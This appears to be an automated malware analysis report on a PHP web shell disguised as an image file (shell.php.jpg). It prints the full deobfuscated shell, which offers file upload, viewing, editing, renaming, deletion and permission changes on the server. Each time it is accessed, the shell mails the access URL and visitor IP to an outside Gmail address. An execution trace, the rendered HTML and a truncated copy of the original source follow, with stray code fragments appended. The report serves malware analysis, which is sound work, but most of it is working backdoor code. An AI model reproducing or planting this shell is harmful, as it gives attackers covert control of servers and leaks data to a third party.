PHP Malware Analysis

shell.php.jpg

md5: 798bc12578b77d3981f1280a30a4c45a

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  • http://localhost/uploads/shell.php.jpg (Traces)


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\n<html>\n<head>\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n<title>_Hacked_</title>\n<style>\nbody{\nfont-family: \"Racing Sans One\", cursive;\nbackground-color: black;\ncolor:white;\n}\n#content tr:hover{\nbackground-color: red;\ntext-shadow:0px 0px 10px #fff;\n}\n#content .first{\nbackground-color: red;\n}\ntable{\nborder: 1px #000000 dotted;\n}\na{\ncolor:white;\ntext-decoration: none;\n}\na:hover{\ncolor:blue;\ntext-shadow:0px 0px 10px #ffffff;\n}\ninput,select,textarea{\nborder: 1px #000000 solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</head>\n<body>\n<h1><center><font color=\"red\">Shell Backdoor By Tn.David</font></center></h1>\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><font color=\"white\">Path :</font> ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"green\">Upload Berhasil</font><br />";
    } else {
        echo "<font color=\"red\">Upload Gagal</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current < : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Berhasil</font><br/>";
            } else {
                echo "<font color=\"red\">Change Permission Gagal</font><br />";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Ganti Nama Berhasil</font><br/>";
            } else {
                echo "<font color=\"red\">Ganti Nama Gagal</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Berhasil Edit File</font><br/>";
            } else {
                echo "<font color=\"red\">Gagal Edit File</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Directory Terhapus</font><br/>";
            } else {
                echo "<font color=\"red\">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">File Terhapus</font><br/>";
            } else {
                echo "<font color=\"red\">File Gagal Dihapus</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>Name</peller></center></td>\n<td><center>Size</peller></center></td>\n<td><center>Permission</peller></center></td>\n<td><center>Modify</peller></center></td>\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"green\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"green\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "</table>\n</div>";
}
echo "<center><br/>Mr Xcody404</center>\n</body>\n</html>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = 'cyberteam4103@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "akses {$x_path} :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>(($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (

Execution traces

data/traces/798bc12578b77d3981f1280a30a4c45a_trace-1676247119.6502.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:12:25.548011]
1	0	1	0.000178	393528
1	3	0	0.000483	450912	{main}	1		/var/www/html/uploads/shell.php.jpg	0	0
2	4	0	0.000502	450912	error_reporting	0		/var/www/html/uploads/shell.php.jpg	2	1	0
2	4	1	0.000517	450952
2	4	R			22527
2	5	0	0.000531	450912	set_time_limit	0		/var/www/html/uploads/shell.php.jpg	3	1	0
2	5	1	0.000545	450976
2	5	R			FALSE
2	6	0	0.000559	450944	get_magic_quotes_gpc	0		/var/www/html/uploads/shell.php.jpg	5	0
2	6	1	0.000571	450944
2	6	R			FALSE
2	7	0	0.000585	450944	getcwd	0		/var/www/html/uploads/shell.php.jpg	54	0
2	7	1	0.000599	450992
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php.jpg	54	$path = '/var/www/html/uploads'
2	8	0	0.000627	450992	str_replace	0		/var/www/html/uploads/shell.php.jpg	56	3	'\\'	'/'	'/var/www/html/uploads'
2	8	1	0.000641	451088
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php.jpg	56	$path = '/var/www/html/uploads'
2	9	0	0.000666	450992	explode	0		/var/www/html/uploads/shell.php.jpg	57	2	'/'	'/var/www/html/uploads'
2	9	1	0.000680	451568
2	9	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/shell.php.jpg	57	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/shell.php.jpg	59	$id = 0
1		A						/var/www/html/uploads/shell.php.jpg	61	$a = TRUE
1		A						/var/www/html/uploads/shell.php.jpg	59	$id = 1
1		A						/var/www/html/uploads/shell.php.jpg	67	$i = 0
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	59	$id = 2
1		A						/var/www/html/uploads/shell.php.jpg	67	$i = 0
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	59	$id = 3
1		A						/var/www/html/uploads/shell.php.jpg	67	$i = 0
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	59	$id = 4
1		A						/var/www/html/uploads/shell.php.jpg	67	$i = 0
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
1		A						/var/www/html/uploads/shell.php.jpg	67	$i++
2	10	0	0.000929	451496	scandir	0		/var/www/html/uploads/shell.php.jpg	158	1	'/var/www/html/uploads'
2	10	1	0.000963	452120
2	10	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php.jpg']
1		A						/var/www/html/uploads/shell.php.jpg	158	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php.jpg']
2	11	0	0.001001	452136	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/.'
2	11	1	0.001018	452200
2	11	R			TRUE
2	12	0	0.001032	452168	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/..'
2	12	1	0.001047	452216
2	12	R			TRUE
2	13	0	0.001060	452176	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/.htaccess'
2	13	1	0.001075	452216
2	13	R			FALSE
2	14	0	0.001089	452176	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/data'
2	14	1	0.001103	452216
2	14	R			TRUE
2	15	0	0.001117	452176	is_writable	0		/var/www/html/uploads/shell.php.jpg	173	1	'/var/www/html/uploads/data'
2	15	1	0.001136	452216
2	15	R			TRUE
2	16	0	0.001150	452176	perms	1		/var/www/html/uploads/shell.php.jpg	175	1	'/var/www/html/uploads/data'
3	17	0	0.001163	452176	fileperms	0		/var/www/html/uploads/shell.php.jpg	235	1	'/var/www/html/uploads/data'
3	17	1	0.001176	452216
3	17	R			16895
2		A						/var/www/html/uploads/shell.php.jpg	235	$perms = 16895
2		A						/var/www/html/uploads/shell.php.jpg	251	$info = 'd'
2		A						/var/www/html/uploads/shell.php.jpg	264	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	265	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	268	$info .= 'x'
2		A						/var/www/html/uploads/shell.php.jpg	271	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	272	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	275	$info .= 'x'
2		A						/var/www/html/uploads/shell.php.jpg	278	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	279	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	282	$info .= 'x'
2	16	1	0.001306	452216
2	16	R			'drwxrwxrwx'
2	18	0	0.001320	452176	is_writable	0		/var/www/html/uploads/shell.php.jpg	176	1	'/var/www/html/uploads/data'
2	18	1	0.001336	452216
2	18	R			TRUE
2	19	0	0.001351	452184	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/prepend.php'
2	19	1	0.001366	452232
2	19	R			FALSE
2	20	0	0.001380	452192	is_dir	0		/var/www/html/uploads/shell.php.jpg	168	1	'/var/www/html/uploads/shell.php.jpg'
2	20	1	0.001394	452232
2	20	R			FALSE
2	21	0	0.001407	452176	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/.'
2	21	1	0.001422	452200
2	21	R			FALSE
2	22	0	0.001435	452168	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/..'
2	22	1	0.001449	452216
2	22	R			FALSE
2	23	0	0.001462	452176	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001476	452216
2	23	R			TRUE
2	24	0	0.001489	452176	filesize	0		/var/www/html/uploads/shell.php.jpg	196	1	'/var/www/html/uploads/.htaccess'
2	24	1	0.001502	452216
2	24	R			64
1		A						/var/www/html/uploads/shell.php.jpg	196	$size = 0.0625
2	25	0	0.001526	452120	round	0		/var/www/html/uploads/shell.php.jpg	197	2	0.0625	3
2	25	1	0.001539	452192
2	25	R			0.063
1		A						/var/www/html/uploads/shell.php.jpg	197	$size = 0.063
1		A						/var/www/html/uploads/shell.php.jpg	201	$size = '0.063 KB'
2	26	0	0.001575	452216	is_writable	0		/var/www/html/uploads/shell.php.jpg	208	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001591	452256
2	26	R			FALSE
2	27	0	0.001603	452216	is_readable	0		/var/www/html/uploads/shell.php.jpg	209	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001618	452256
2	27	R			TRUE
2	28	0	0.001631	452216	perms	1		/var/www/html/uploads/shell.php.jpg	210	1	'/var/www/html/uploads/.htaccess'
3	29	0	0.001644	452216	fileperms	0		/var/www/html/uploads/shell.php.jpg	235	1	'/var/www/html/uploads/.htaccess'
3	29	1	0.001656	452256
3	29	R			33188
2		A						/var/www/html/uploads/shell.php.jpg	235	$perms = 33188
2		A						/var/www/html/uploads/shell.php.jpg	245	$info = '-'
2		A						/var/www/html/uploads/shell.php.jpg	264	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	265	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	268	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	271	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	272	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	275	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	278	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	279	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	282	$info .= '-'
2	28	1	0.001773	452256
2	28	R			'-rw-r--r--'
2	30	0	0.001788	452216	is_writable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001803	452256
2	30	R			FALSE
2	31	0	0.001816	452216	is_readable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.001831	452256
2	31	R			TRUE
2	32	0	0.001846	452216	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/data'
2	32	1	0.001860	452256
2	32	R			FALSE
2	33	0	0.001873	452224	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/prepend.php'
2	33	1	0.001888	452272
2	33	R			TRUE
2	34	0	0.001901	452232	filesize	0		/var/www/html/uploads/shell.php.jpg	196	1	'/var/www/html/uploads/prepend.php'
2	34	1	0.001924	452272
2	34	R			57
1		A						/var/www/html/uploads/shell.php.jpg	196	$size = 0.0556640625
2	35	0	0.001947	452128	round	0		/var/www/html/uploads/shell.php.jpg	197	2	0.0556640625	3
2	35	1	0.001961	452200
2	35	R			0.056
1		A						/var/www/html/uploads/shell.php.jpg	197	$size = 0.056
1		A						/var/www/html/uploads/shell.php.jpg	201	$size = '0.056 KB'
2	36	0	0.002001	452232	is_writable	0		/var/www/html/uploads/shell.php.jpg	208	1	'/var/www/html/uploads/prepend.php'
2	36	1	0.002017	452272
2	36	R			FALSE
2	37	0	0.002030	452232	is_readable	0		/var/www/html/uploads/shell.php.jpg	209	1	'/var/www/html/uploads/prepend.php'
2	37	1	0.002045	452272
2	37	R			TRUE
2	38	0	0.002058	452232	perms	1		/var/www/html/uploads/shell.php.jpg	210	1	'/var/www/html/uploads/prepend.php'
3	39	0	0.002071	452232	fileperms	0		/var/www/html/uploads/shell.php.jpg	235	1	'/var/www/html/uploads/prepend.php'
3	39	1	0.002084	452272
3	39	R			33261
2		A						/var/www/html/uploads/shell.php.jpg	235	$perms = 33261
2		A						/var/www/html/uploads/shell.php.jpg	245	$info = '-'
2		A						/var/www/html/uploads/shell.php.jpg	264	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	265	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	268	$info .= 'x'
2		A						/var/www/html/uploads/shell.php.jpg	271	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	272	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	275	$info .= 'x'
2		A						/var/www/html/uploads/shell.php.jpg	278	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	279	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	282	$info .= 'x'
2	38	1	0.002203	452272
2	38	R			'-rwxr-xr-x'
2	40	0	0.002217	452232	is_writable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/prepend.php'
2	40	1	0.002232	452272
2	40	R			FALSE
2	41	0	0.002246	452232	is_readable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/prepend.php'
2	41	1	0.002260	452272
2	41	R			TRUE
2	42	0	0.002274	452232	is_file	0		/var/www/html/uploads/shell.php.jpg	195	1	'/var/www/html/uploads/shell.php.jpg'
2	42	1	0.002289	452272
2	42	R			TRUE
2	43	0	0.002302	452232	filesize	0		/var/www/html/uploads/shell.php.jpg	196	1	'/var/www/html/uploads/shell.php.jpg'
2	43	1	0.002314	452272
2	43	R			8912
1		A						/var/www/html/uploads/shell.php.jpg	196	$size = 8.703125
2	44	0	0.002338	452128	round	0		/var/www/html/uploads/shell.php.jpg	197	2	8.703125	3
2	44	1	0.002351	452200
2	44	R			8.703
1		A						/var/www/html/uploads/shell.php.jpg	197	$size = 8.703
1		A						/var/www/html/uploads/shell.php.jpg	201	$size = '8.703 KB'
2	45	0	0.002386	452232	is_writable	0		/var/www/html/uploads/shell.php.jpg	208	1	'/var/www/html/uploads/shell.php.jpg'
2	45	1	0.002401	452272
2	45	R			FALSE
2	46	0	0.002415	452232	is_readable	0		/var/www/html/uploads/shell.php.jpg	209	1	'/var/www/html/uploads/shell.php.jpg'
2	46	1	0.002429	452272
2	46	R			TRUE
2	47	0	0.002442	452232	perms	1		/var/www/html/uploads/shell.php.jpg	210	1	'/var/www/html/uploads/shell.php.jpg'
3	48	0	0.002454	452232	fileperms	0		/var/www/html/uploads/shell.php.jpg	235	1	'/var/www/html/uploads/shell.php.jpg'
3	48	1	0.002466	452272
3	48	R			33204
2		A						/var/www/html/uploads/shell.php.jpg	235	$perms = 33204
2		A						/var/www/html/uploads/shell.php.jpg	245	$info = '-'
2		A						/var/www/html/uploads/shell.php.jpg	264	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	265	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	268	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	271	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	272	$info .= 'w'
2		A						/var/www/html/uploads/shell.php.jpg	275	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	278	$info .= 'r'
2		A						/var/www/html/uploads/shell.php.jpg	279	$info .= '-'
2		A						/var/www/html/uploads/shell.php.jpg	282	$info .= '-'
2	47	1	0.002584	452272
2	47	R			'-rw-rw-r--'
2	49	0	0.002598	452232	is_writable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/shell.php.jpg'
2	49	1	0.002612	452272
2	49	R			FALSE
2	50	0	0.002626	452232	is_readable	0		/var/www/html/uploads/shell.php.jpg	211	1	'/var/www/html/uploads/shell.php.jpg'
2	50	1	0.002640	452272
2	50	R			TRUE
2	51	0	0.002659	452280	ini_set	0		/var/www/html/uploads/shell.php.jpg	288	2	'output_buffering'	0
2	51	1	0.002675	452352
2	51	R			FALSE
2	52	0	0.002688	452280	ini_set	0		/var/www/html/uploads/shell.php.jpg	289	2	'display_errors'	0
2	52	1	0.002702	452352
2	52	R			''
2	53	0	0.002718	452280	set_time_limit	0		/var/www/html/uploads/shell.php.jpg	290	1	0
2	53	1	0.002731	452312
2	53	R			FALSE
2	54	0	0.002744	452280	ini_set	0		/var/www/html/uploads/shell.php.jpg	291	2	'memory_limit'	'64M'
2	54	1	0.002758	452384
2	54	R			'128M'
2	55	0	0.002771	452280	header	0		/var/www/html/uploads/shell.php.jpg	292	1	'Content-Type: text/html; charset=UTF-8'
2	55	1	0.002788	452312
2	55	R			NULL
1		A						/var/www/html/uploads/shell.php.jpg	293	$tujuanmail = 'cyberteam4103@gmail.com'
1		A						/var/www/html/uploads/shell.php.jpg	294	$x_path = 'http://localhost/uploads/shell.php.jpg'
1		A						/var/www/html/uploads/shell.php.jpg	295	$pesan_alert = 'akses http://localhost/uploads/shell.php.jpg :p *IP Address : [ 127.0.0.1 ]'
2	56	0	0.002841	452496	mail	0		/var/www/html/uploads/shell.php.jpg	296	4	'cyberteam4103@gmail.com'	'LOGGER'	'akses http://localhost/uploads/shell.php.jpg :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
2	56	1	0.003549	452640
2	56	R			FALSE
1	3	1	0.003575	452456
			0.003610	326544
TRACE END   [2023-02-12 22:12:25.551477]


Generated HTML code

<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>_Hacked_</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: black;
color:white;
}
#content tr:hover{
background-color: red;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="red">Shell Backdoor By Tn.David</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td><font color="white">Path :</font> <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permission</center></td>
<td><center>Modify</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/shell.php.jpg&amp;path=/var/www/html">shell.php.jpg</a></td>
<td><center>8.703 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="shell.php.jpg">
<input type="hidden" name="path" value="/var/www/html/shell.php.jpg">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><center><br>Mr Xcody404</center>

(($perms &amp; 0x0080) ? 'w' : '-');
$info .= (($perms &amp; 0x0040) ?
(($perms &amp; 0x0800) ? 's' : 'x' ) :
(($perms &amp; 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms &amp; 0x0020) ? 'r' : '-');
$info .= (($perms &amp; 0x0010) ? 'w' : '-');
$info .= (</body></html>

Original PHP code

<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<title>_Hacked_</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: black;
color:white;
}
#content tr:hover{
background-color: red;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="red">Shell Backdoor By Tn.David</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font color="white">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
